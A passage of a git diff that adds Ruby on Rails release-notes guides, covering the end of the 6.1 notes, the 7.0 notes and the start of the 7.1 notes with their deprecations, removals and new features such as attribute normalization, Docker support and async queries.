+*   Remove deprecated `ActiveStorage::Transformers::MiniMagickTransformer`.
+
+*   Remove deprecated `config.active_storage.queue`.
+
+*   Remove deprecated `ActiveStorage::Downloading`.
+
+### Deprecations
+
+*   Deprecate `Blob.create_after_upload` in favor of `Blob.create_and_upload`.
+    ([Pull Request](https://github.com/rails/rails/pull/34827))
+
+### Notable changes
+
+*   Add `Blob.create_and_upload` to create a new blob and upload the given `io`
+    to the service.
+    ([Pull Request](https://github.com/rails/rails/pull/34827))
+*   `ActiveStorage::Blob#service_name` column was added. It is required that a migration is run after the upgrade. Run `bin/rails app:update` to generate that migration.
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Active Model's errors are now objects with an interface that allows your application to more
+    easily handle and interact with errors thrown by models.
+    [The feature](https://github.com/rails/rails/pull/32313) includes a query interface, enables
+    more precise testing, and access to error details.
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated fallback to `I18n.default_locale` when `config.i18n.fallbacks` is empty.
+
+*   Remove deprecated `LoggerSilence` constant.
+
+*   Remove deprecated `ActiveSupport::LoggerThreadSafeLevel#after_initialize`.
+
+*   Remove deprecated `Module#parent_name`, `Module#parent` and `Module#parents`.
+
+*   Remove deprecated file `active_support/core_ext/module/reachable`.
+
+*   Remove deprecated file `active_support/core_ext/numeric/inquiry`.
+
+*   Remove deprecated file `active_support/core_ext/array/prepend_and_append`.
+
+*   Remove deprecated file `active_support/core_ext/hash/compact`.
+
+*   Remove deprecated file `active_support/core_ext/hash/transform_values`.
+
+*   Remove deprecated file `active_support/core_ext/range/include_range`.
+
+*   Remove deprecated `ActiveSupport::Multibyte::Chars#consumes?` and `ActiveSupport::Multibyte::Chars#normalize`.
+
+*   Remove deprecated `ActiveSupport::Multibyte::Unicode.pack_graphemes`,
+    `ActiveSupport::Multibyte::Unicode.unpack_graphemes`,
+    `ActiveSupport::Multibyte::Unicode.normalize`,
+    `ActiveSupport::Multibyte::Unicode.downcase`,
+    `ActiveSupport::Multibyte::Unicode.upcase` and `ActiveSupport::Multibyte::Unicode.swapcase`.
+
+*   Remove deprecated `ActiveSupport::Notifications::Instrumenter#end=`.
+
+### Deprecations
+
+*   Deprecate `ActiveSupport::Multibyte::Unicode.default_normalization_form`.
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*   Deprecate `config.active_job.return_false_on_aborted_enqueue`.
+
+### Notable changes
+
+*   Return `false` when enqueuing a job is aborted.
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Add method to confirm rich text content existence by adding `?` after
+    name of the rich text attribute.
+    ([Pull Request](https://github.com/rails/rails/pull/37951))
+
+*   Add `fill_in_rich_text_area` system test case helper to find a trix
+    editor and fill it with given HTML content.
+    ([Pull Request](https://github.com/rails/rails/pull/35885))
+
+*   Add `ActionText::FixtureSet.attachment` to generate
+    `<action-text-attachment>` elements in database fixtures.
+    ([Pull Request](https://github.com/rails/rails/pull/40289))
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*   Deprecate `Rails.application.credentials.action_mailbox.api_key` and `MAILGUN_INGRESS_API_KEY` in favor of `Rails.application.credentials.action_mailbox.signing_key` and `MAILGUN_INGRESS_SIGNING_KEY`.
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/6-1-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/6-1-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/6-1-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/6-1-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/6-1-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/6-1-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/6-1-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/6-1-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/6-1-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/6-1-stable/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/6-1-stable/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/6-1-stable/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/6-1-stable/guides/CHANGELOG.md
diff --git a/guides/source/7_0_release_notes.md b/guides/source/7_0_release_notes.md
new file mode 100644
index 0000000000000..defc77c5c412e
--- /dev/null
+++ b/guides/source/7_0_release_notes.md
@@ -0,0 +1,366 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 7.0 Release Notes
+===============================
+
+Highlights in Rails 7.0:
+
+* Ruby 2.7.0+ required, Ruby 3.0+ preferred
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 7.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 6.1 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 7.0. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-6-1-to-rails-7-0)
+guide.
+
+Major Features
+--------------
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config` in `dbconsole`.
+
+### Deprecations
+
+### Notable changes
+
+*   Sprockets is now an optional dependency
+
+    The gem `rails` doesn't depend on `sprockets-rails` anymore. If your application still needs to use Sprockets,
+    make sure to add `sprockets-rails` to your Gemfile.
+
+    ```
+    gem "sprockets-rails"
+    ```
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActionDispatch::Response.return_only_media_type_on_content_type`.
+
+*   Remove deprecated `Rails.config.action_dispatch.hosts_response_app`.
+
+*   Remove deprecated `ActionDispatch::SystemTestCase#host!`.
+
+*   Remove deprecated support to passing a path to `fixture_file_upload` relative to `fixture_path`.
+
+### Deprecations
+
+### Notable changes
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `Rails.config.action_view.raise_on_missing_translations`.
+
+### Deprecations
+
+### Notable changes
+
+*  `button_to` infers HTTP verb [method] from an Active Record object if object is used to build URL
+
+    ```ruby
+    button_to("Do a POST", [:do_post_action, Workshop.find(1)])
+    # Before
+    #=>   <input type="hidden" name="_method" value="post" autocomplete="off" />
+    # After
+    #=>   <input type="hidden" name="_method" value="patch" autocomplete="off" />
+    ```
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActionMailer::DeliveryJob` and `ActionMailer::Parameterized::DeliveryJob`
+    in favor of `ActionMailer::MailDeliveryJob`.
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `database` kwarg from `connected_to`.
+
+*   Remove deprecated  `ActiveRecord::Base.allow_unsafe_raw_sql`.
+
+*   Remove deprecated option `:spec_name` in the `configs_for` method.
+
+*   Remove deprecated support to YAML load `ActiveRecord::Base` instance in the Rails 4.2 and 4.1 formats.
+
+*   Remove deprecation warning when `:interval` column is used in PostgreSQL database.
+
+    Now, interval columns will return `ActiveSupport::Duration` objects instead of strings.
+
+    To keep the old behavior, you can add this line to your model:
+
+    ```ruby
+    attribute :column, :string
+    ```
+
+*   Remove deprecated support to resolve connection using `"primary"` as connection specification name.
+
+*   Remove deprecated support to quote `ActiveRecord::Base` objects.
+
+*   Remove deprecated support to type cast to database values `ActiveRecord::Base` objects.
+
+*   Remove deprecated support to pass a column to `type_cast`.
+
+*   Remove deprecated `DatabaseConfig#config` method.
+
+*   Remove deprecated rake tasks:
+
+    * `db:schema:load_if_ruby`
+    * `db:structure:dump`
+    * `db:structure:load`
+    * `db:structure:load_if_sql`
+    * `db:structure:dump:#{name}`
+    * `db:structure:load:#{name}`
+    * `db:test:load_structure`
+    * `db:test:load_structure:#{name}`
+
+*   Remove deprecated support to `Model.reorder(nil).first` to search using non-deterministic order.
+
+*   Remove deprecated `environment` and `name` arguments from `Tasks::DatabaseTasks.schema_up_to_date?`.
+
+*   Remove deprecated `Tasks::DatabaseTasks.dump_filename`.
+
+*   Remove deprecated `Tasks::DatabaseTasks.schema_file`.
+
+*   Remove deprecated `Tasks::DatabaseTasks.spec`.
+
+*   Remove deprecated `Tasks::DatabaseTasks.current_config`.
+
+*   Remove deprecated `ActiveRecord::Connection#allowed_index_name_length`.
+
+*   Remove deprecated `ActiveRecord::Connection#in_clause_length`.
+
+*   Remove deprecated `ActiveRecord::DatabaseConfigurations::DatabaseConfig#spec_name`.
+
+*   Remove deprecated `ActiveRecord::Base.connection_config`.
+
+*   Remove deprecated `ActiveRecord::Base.arel_attribute`.
+
+*   Remove deprecated `ActiveRecord::Base.configurations.default_hash`.
+
+*   Remove deprecated `ActiveRecord::Base.configurations.to_h`.
+
+*   Remove deprecated `ActiveRecord::Result#map!` and `ActiveRecord::Result#collect!`.
+
+*   Remove deprecated `ActiveRecord::Base#remove_connection`.
+
+### Deprecations
+
+*   Deprecated `Tasks::DatabaseTasks.schema_file_type`.
+
+### Notable changes
+
+*   Rollback transactions when the block returns earlier than expected.
+
+    Before this change, when a transaction block returned early, the transaction would be committed.
+
+    The problem is that timeouts triggered inside the transaction block was also making the incomplete transaction
+    to be committed, so in order to avoid this mistake, the transaction block is rolled back.
+
+*   Merging conditions on the same column no longer maintain both conditions,
+    and will be consistently replaced by the latter condition.
+
+    ```ruby
+    # Rails 6.1 (IN clause is replaced by merger side equality condition)
+    Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
+    # Rails 6.1 (both conflict conditions exists, deprecated)
+    Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => []
+    # Rails 6.1 with rewhere to migrate to Rails 7.0's behavior
+    Author.where(id: david.id..mary.id).merge(Author.where(id: bob), rewhere: true) # => [bob]
+    # Rails 7.0 (same behavior with IN clause, mergee side condition is consistently replaced)
+    Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
+    Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => [bob]
+    ```
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Remove deprecated enumeration of `ActiveModel::Errors` instances as a Hash.
+
+*   Remove deprecated `ActiveModel::Errors#to_h`.
+
+*   Remove deprecated `ActiveModel::Errors#slice!`.
+
+*   Remove deprecated `ActiveModel::Errors#values`.
+
+*   Remove deprecated `ActiveModel::Errors#keys`.
+
+*   Remove deprecated `ActiveModel::Errors#to_xml`.
+
+*   Remove deprecated support concat errors to `ActiveModel::Errors#messages`.
+
+*   Remove deprecated support to `clear` errors from `ActiveModel::Errors#messages`.
+
+*   Remove deprecated support to `delete` errors from `ActiveModel::Errors#messages`.
+
+*   Remove deprecated support to use `[]=` in `ActiveModel::Errors#messages`.
+
+*   Remove support to Marshal and YAML load Rails 5.x error format.
+
+*   Remove support to Marshal load Rails 5.x `ActiveModel::AttributeSet` format.
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.active_support.use_sha1_digests`.
+
+*   Remove deprecated `URI.parser`.
+
+*   Remove deprecated support to use `Range#include?` to check the inclusion of a value in
+    a date time range is deprecated.
+
+*   Remove deprecated `ActiveSupport::Multibyte::Unicode.default_normalization_form`.
+
+### Deprecations
+
+*   Deprecate passing a format to `#to_s` in favor of `#to_fs` in `Array`, `Range`, `Date`, `DateTime`, `Time`,
+    `BigDecimal`, `Float` and, `Integer`.
+
+    This deprecation is to allow Rails application to take advantage of a Ruby 3.1
+    [optimization](https://github.com/ruby/ruby/commit/b08dacfea39ad8da3f1fd7fdd0e4538cc892ec44) that makes
+    interpolation of some types of objects faster.
+
+    New applications will not have the `#to_s` method overridden on those classes, existing applications can use
+    `config.active_support.disable_to_s_conversion`.
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Removed deprecated behavior that was not halting `after_enqueue`/`after_perform` callbacks when a
+    previous callback was halted with `throw :abort`.
+
+*   Remove deprecated `:return_false_on_aborted_enqueue` option.
+
+### Deprecations
+
+*   Deprecated `Rails.config.active_job.skip_after_callbacks_if_terminated`.
+
+### Notable changes
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `Rails.application.credentials.action_mailbox.mailgun_api_key`.
+
+*   Removed deprecated environment variable `MAILGUN_INGRESS_API_KEY`.
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/7-0-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/7-0-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/7-0-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/7-0-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/7-0-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/7-0-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/7-0-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/7-0-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/7-0-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/7-0-stable/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/7-0-stable/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/7-0-stable/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/7-0-stable/guides/CHANGELOG.md
diff --git a/guides/source/7_1_release_notes.md b/guides/source/7_1_release_notes.md
new file mode 100644
index 0000000000000..07351dc51ffa1
--- /dev/null
+++ b/guides/source/7_1_release_notes.md
@@ -0,0 +1,925 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 7.1 Release Notes
+===============================
+
+Highlights in Rails 7.1:
+
+* Generate Dockerfiles for new Rails applications
+* Add `ActiveRecord::Base.normalizes`
+* Add `ActiveRecord::Base.generates_token_for`
+* Add `perform_all_later` to enqueue multiple jobs at once
+* Composite primary keys
+* Introduce adapter for `Trilogy`
+* Add `ActiveSupport::MessagePack`
+* Introducing `config.autoload_lib` and `config.autoload_lib_once` for Enhanced Autoloading
+* Active Record API for general async queries
+* Allow templates to set strict `locals`
+* Add `Rails.application.deprecators`
+* Support pattern matching for JSON `response.parsed_body`
+* Extend `response.parsed_body` to parse HTML with Nokogiri
+* Introduce `ActionView::TestCase.register_parser`
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/7-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 7.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 7.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 7.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-0-to-rails-7-1)
+guide.
+
+Major Features
+--------------
+
+### Generate Dockerfiles for new Rails applications
+
+[Default Docker support](https://github.com/rails/rails/pull/46762) to new Rails applications.
+When generating a new application, Rails will now include Docker-related files in the application.
+
+These files serve as a foundational setup for deploying your Rails application in a
+production environment using Docker. It's important to note that these files are not
+meant for development purposes.
+
+Here's a quick example of how to build and run your Rails app using these Docker files:
+
+```bash
+$ docker build -t app .
+$ docker volume create app-storage
+$ docker run --rm -it -v app-storage:/rails/storage -p 3000:3000 --env RAILS_MASTER_KEY=<your-config-master-key> app
+```
+
+You can also start a console or runner from this Docker image:
+
+```bash
+$ docker run --rm -it -v app-storage:/rails/storage --env RAILS_MASTER_KEY=<your-config-master-key> app console
+```
+
+For those looking to create a multi-platform image (e.g., Apple Silicon for AMD or Intel deployment),
+and push it to Docker Hub, follow these steps:
+
+```bash
+$ docker login -u <your-user>
+$ docker buildx create --use
+$ docker buildx build --push --platform=linux/amd64,linux/arm64 -t <your-user/image-name> .
+```
+
+This enhancement simplifies the deployment process, providing a convenient starting point for
+getting your Rails application up and running in a production environment.
+
+### Add `ActiveRecord::Base.normalizes`
+
+[`ActiveRecord::Base.normalizes`][] declares an attribute normalization. The
+normalization is applied when the attribute is assigned or updated, and the
+normalized value will be persisted to the database. The normalization is also
+applied to the corresponding keyword argument of query methods, allowing records
+to be queried using unnormalized values.
+
+For example:
+
+```ruby
+class User < ActiveRecord::Base
+  normalizes :email, with: -> email { email.strip.downcase }
+  normalizes :phone, with: -> phone { phone.delete("^0-9").delete_prefix("1") }
+end
+
+user = User.create(email: " CRUISE-CONTROL@EXAMPLE.COM\n")
+user.email                  # => "cruise-control@example.com"
+
+user = User.find_by(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")
+user.email                  # => "cruise-control@example.com"
+user.email_before_type_cast # => "cruise-control@example.com"
+
+User.where(email: "\tCRUISE-CONTROL@EXAMPLE.COM ").count         # => 1
+User.where(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]).count # => 0
+
+User.exists?(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")         # => true
+User.exists?(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]) # => false
+
+User.normalize_value_for(:phone, "+1 (555) 867-5309") # => "5558675309"
+```
+
+[`ActiveRecord::Base.normalizes`]: https://api.rubyonrails.org/v7.1/classes/ActiveRecord/Normalization/ClassMethods.html#method-i-normalizes
+
+### Add `ActiveRecord::Base.generates_token_for`
+
+[`ActiveRecord::Base.generates_token_for`][] defines the generation of tokens
+for a specific purpose. Generated tokens can expire and can also embed record
+data. When using a token to fetch a record, the data from the token and the
+current data from the record will be compared. If the two do not match, the
+token will be treated as invalid, the same as if it had expired.
+
+Here is an example implementing a single-use password reset token:
+
+```ruby
+class User < ActiveRecord::Base
+  has_secure_password
+
+  generates_token_for :password_reset, expires_in: 15.minutes do
+    # `password_salt` (defined by `has_secure_password`) returns the salt for
+    # the password. The salt changes when the password is changed, so the token
+    # will expire when the password is changed.
+    password_salt&.last(10)
+  end
+end
+
+user = User.first
+token = user.generate_token_for(:password_reset)
+
+User.find_by_token_for(:password_reset, token) # => user
+
+user.update!(password: "new password")
+User.find_by_token_for(:password_reset, token) # => nil
+```
+
+[`ActiveRecord::Base.generates_token_for`]: https://api.rubyonrails.org/v7.1/classes/ActiveRecord/TokenFor/ClassMethods.html#method-i-generates_token_for
+
+### Add `perform_all_later` to enqueue multiple jobs at once
+
+The [`perform_all_later` method in Active Job](https://github.com/rails/rails/pull/46603),
+designed to streamline the process of enqueuing multiple jobs simultaneously. This powerful
+addition allows you to efficiently enqueue jobs without triggering callbacks. This is
+particularly useful when you need to enqueue a batch of jobs at once, reducing the overhead
+of multiple round-trips to the queue datastore.
+
+Here's how you can take advantage of `perform_all_later`:
+
+```ruby
+# Enqueueing individual jobs
+ActiveJob.perform_all_later(MyJob.new("hello", 42), MyJob.new("world", 0))
+
+# Enqueueing an array of jobs
+user_jobs = User.pluck(:id).map { |id| UserJob.new(user_id: id) }
+ActiveJob.perform_all_later(user_jobs)
+```
+
+By utilizing `perform_all_later`, you can optimize your job enqueuing process and take advantage
+of improved efficiency, especially when working with large sets of jobs. It's worth noting that
+for queue adapters that support the new `enqueue_all` method, such as the Sidekiq adapter, the
+enqueuing process is further optimized using `push_bulk`.
+
+Please be aware that this new method introduces a separate event, `enqueue_all.active_job`,
+and does not utilize the existing `enqueue.active_job` event. This ensures accurate tracking
+and reporting of the bulk enqueuing process.
+
+### Composite primary keys
+
+Composite primary keys are now supported at both the database and application level. Rails is able to derive these keys directly from the schema. This feature is particularly beneficial for many-to-many relationships and other complex data models where a single column is insufficient to uniquely identify a record.
+
+The SQL generated by query methods in Active Record (e.g. `#reload`, `#update`, `#delete`) will contain all parts of the composite primary key. Methods like `#first` and `#last` will use the full composite primary key in the `ORDER BY` statements.
+
+The `query_constraints` macro can be used as a "virtual primary key" to achieve the same behavior without modifying the database schema.
+Example:
+
+```ruby
+class TravelRoute < ActiveRecord::Base
+  query_constraints :origin, :destination
+end
+```
+
+Similarly, associations accept a  `query_constraints:` option. This option serves as a composite foreign key, configuring the list of columns used for accessing the associated record.
+
+Example:
+
+```ruby
+class TravelRouteReview < ActiveRecord::Base
+  belongs_to :travel_route, query_constraints: [:travel_route_origin, :travel_route_destination]
+end
+```
+
+### Introduce adapter for `Trilogy`
+
+A [new adapter has been introduced](https://github.com/rails/rails/pull/47880) to facilitate the
+seamless integration of `Trilogy`, a MySQL-compatible database client, with Rails applications.
+Now, Rails applications have the option to incorporate `Trilogy` functionality by configuring their
+`config/database.yml` file. For instance:
+
+```yaml
+development:
+  adapter: trilogy
+  database: blog_development
+  pool: 5
+```
+
+Alternatively, integration can be achieved using the `DATABASE_URL` environment variable:
+
+```ruby
+ENV["DATABASE_URL"] # => "trilogy://localhost/blog_development?pool=5"
+```
+
+### Add `ActiveSupport::MessagePack`
+
+[`ActiveSupport::MessagePack`][] is a serializer that integrates with the
+[`msgpack` gem][]. `ActiveSupport::MessagePack` can serialize the basic Ruby
+types supported by `msgpack`, as well as several additional types such as `Time`,
+`ActiveSupport::TimeWithZone`, and `ActiveSupport::HashWithIndifferentAccess`.
+Compared to `JSON` and `Marshal`, `ActiveSupport::MessagePack` can reduce
+payload size and improve performance.
+
+`ActiveSupport::MessagePack` can be used as a [message serializer](
+https://guides.rubyonrails.org/v7.1/configuring.html#config-active-support-message-serializer):
+
+```ruby
+config.active_support.message_serializer = :message_pack
+
+# Or individually:
+ActiveSupport::MessageEncryptor.new(secret, serializer: :message_pack)
+ActiveSupport::MessageVerifier.new(secret, serializer: :message_pack)
+```
+
+As the [cookies serializer](
+https://guides.rubyonrails.org/v7.1/configuring.html#config-action-dispatch-cookies-serializer):
+
+```ruby
+config.action_dispatch.cookies_serializer = :message_pack
+```
+
+And as a [cache serializer](
+https://guides.rubyonrails.org/v7.1/caching_with_rails.html#configuration):
+
+```ruby
+config.cache_store = :file_store, "tmp/cache", { serializer: :message_pack }
+
+# Or individually:
+ActiveSupport::Cache.lookup_store(:file_store, "tmp/cache", serializer: :message_pack)
+```
+
+[`ActiveSupport::MessagePack`]: https://api.rubyonrails.org/v7.1/classes/ActiveSupport/MessagePack.html
+[`msgpack` gem]: https://github.com/msgpack/msgpack-ruby
+
+### Introducing `config.autoload_lib` and `config.autoload_lib_once` for Enhanced Autoloading
+
+A [new configuration method, `config.autoload_lib(ignore:)`](https://github.com/rails/rails/pull/48572),
+has been introduced. This method is used to enhance the autoload paths of applications by including the
+`lib` directory, which is not included by default. Also, `config.autoload_lib(ignore: %w(assets tasks))`
+is generated for new applications.
+
+When invoked from either `config/application.rb` or `config/environments/*.rb`, this method adds the
+`lib` directory to both `config.autoload_paths` and `config.eager_load_paths`. It's important to note
+that this feature is not available for engines.
+
+To ensure flexibility, the `ignore` keyword argument can be used to specify subdirectories within the
+`lib` directory that should not be managed by the autoloaders. For instance, you can exclude directories
+like `assets`, `tasks`, and `generators` by passing them to the `ignore` argument:
+
+```ruby
+config.autoload_lib(ignore: %w(assets tasks generators))
+```
+
+The [`config.autoload_lib_once` method](https://github.com/rails/rails/pull/48610) is similar to
+`config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead.
+
+Please, see more details in the [autoloading guide](autoloading_and_reloading_constants.html#config-autoload-lib-ignore)
+
+### Active Record API for general async queries
+
+A significant enhancement has been introduced to the Active Record API, expanding its
+[support for asynchronous queries](https://github.com/rails/rails/pull/44446). This enhancement
+addresses the need for more efficient handling of not-so-fast queries, particularly focusing on
+aggregates (such as `count`, `sum`, etc.) and all methods returning a single record or anything
+other than a `Relation`.
+
+The new API includes the following asynchronous methods:
+
+- `async_count`
+- `async_sum`
+- `async_minimum`
+- `async_maximum`
+- `async_average`
+- `async_pluck`
+- `async_pick`
+- `async_ids`
+- `async_find_by_sql`
+- `async_count_by_sql`
+
+Here's a brief example of how to use one of these methods, `async_count`, to count the number of published
+posts in an asynchronous manner:
+
+```ruby
+# Synchronous count
+published_count = Post.where(published: true).count # => 10
+
+# Asynchronous count
+promise = Post.where(published: true).async_count # => #<ActiveRecord::Promise status=pending>
+promise.value # => 10
+```
+
+These methods allow for the execution of these operations in an asynchronous manner, which can significantly
+improve performance for certain types of database queries.
+
+### Allow templates to set strict `locals`
+
+Introduce a new feature that [allows templates to set explicit `locals`](https://github.com/rails/rails/pull/45602).
+This enhancement provides greater control and clarity when passing variables to your templates.
+
+By default, templates will accept any `locals` as keyword arguments. However, now you can define what `locals` a
+template should accept by adding a `locals` magic comment at the beginning of your template file.
+
+Here's how it works:
+
+```erb
+<%# locals: (message:) -%>
+<%= message %>
+```
+
+You can also set default values for these locals:
+
+```erb
+<%# locals: (message: "Hello, world!") -%>
+<%= message %>
+```
+
+Optional keyword arguments can be splatted:
+
+```erb
+<%# locals: (message: "Hello, world!", **attributes) -%>
+<%= tag.p(message, **attributes) %>
+```
+
+If you want to disable the use of locals entirely, you can do so like this:
+
+```erb
+<%# locals: () %>
+```
+
+Action View will process the `locals:` magic comment in any templating engine that supports `#`-prefixed comments, and will read the magic comment from any line in the partial.
+
+CAUTION: Only keyword arguments are supported. Defining positional or block arguments will raise an Action View Error at render-time.
+
+### Add `Rails.application.deprecators`
+
+The new [`Rails.application.deprecators` method](https://github.com/rails/rails/pull/46049) returns a
+collection of managed deprecators within your application, and allows you to add and retrieve individual
+deprecators with ease:
+
+```ruby
+Rails.application.deprecators[:my_gem] = ActiveSupport::Deprecation.new("2.0", "MyGem")
+Rails.application.deprecators[:other_gem] = ActiveSupport::Deprecation.new("3.0", "OtherGem")
+```
+
+The collection's configuration settings affect all deprecators in the collection.
+
+```ruby
+Rails.application.deprecators.debug = true
+
+Rails.application.deprecators[:my_gem].debug
+# => true
+
+Rails.application.deprecators[:other_gem].debug
+# => true
+```
+
+There are scenarios where you might want to mute all deprecator warnings for a specific block of code.
+With the deprecators collection, you can easily silence all deprecator warnings within a block:
+
+```ruby
+Rails.application.deprecators.silence do
+  Rails.application.deprecators[:my_gem].warn    # No warning (silenced)
+  Rails.application.deprecators[:other_gem].warn # No warning (silenced)
+end
+```
+
+### Support pattern matching for JSON `response.parsed_body`
+
+When `ActionDispatch::IntegrationTest` tests blocks invoke
+`response.parsed_body` for JSON responses, their payloads will be available with
+indifferent access. This enables integration with [Ruby's Pattern
+Matching][pattern-matching], and built-in [Minitest support for pattern
+matching][minitest-pattern-matching]:
+
+```ruby
+get "/posts.json"
+
+response.content_type         # => "application/json; charset=utf-8"
+response.parsed_body.class    # => Array
+response.parsed_body          # => [{"id"=>42, "title"=>"Title"},...
+
+assert_pattern { response.parsed_body => [{ id: 42 }] }
+
+get "/posts/42.json"
+
+response.content_type         # => "application/json; charset=utf-8"
+response.parsed_body.class    # => ActiveSupport::HashWithIndifferentAccess
+response.parsed_body          # => {"id"=>42, "title"=>"Title"}
+
+assert_pattern { response.parsed_body => [{ title: /title/i }] }
+```
+
+[pattern-matching]: https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html
+[minitest-pattern-matching]: https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_pattern
+
+### Extend `response.parsed_body` to parse HTML with Nokogiri
+
+[Extend the `ActionDispatch::Testing` module][#47144] to support parsing the
+value of an HTML `response.body` into a `Nokogiri::HTML5::Document` instance:
+
+```ruby
+get "/posts"
+
+response.content_type         # => "text/html; charset=utf-8"
+response.parsed_body.class    # => Nokogiri::HTML5::Document
+response.parsed_body.to_html  # => "<!DOCTYPE html>\n<html>\n..."
+```
+
+Newly added [Nokogiri support for pattern matching][nokogiri-pattern-matching],
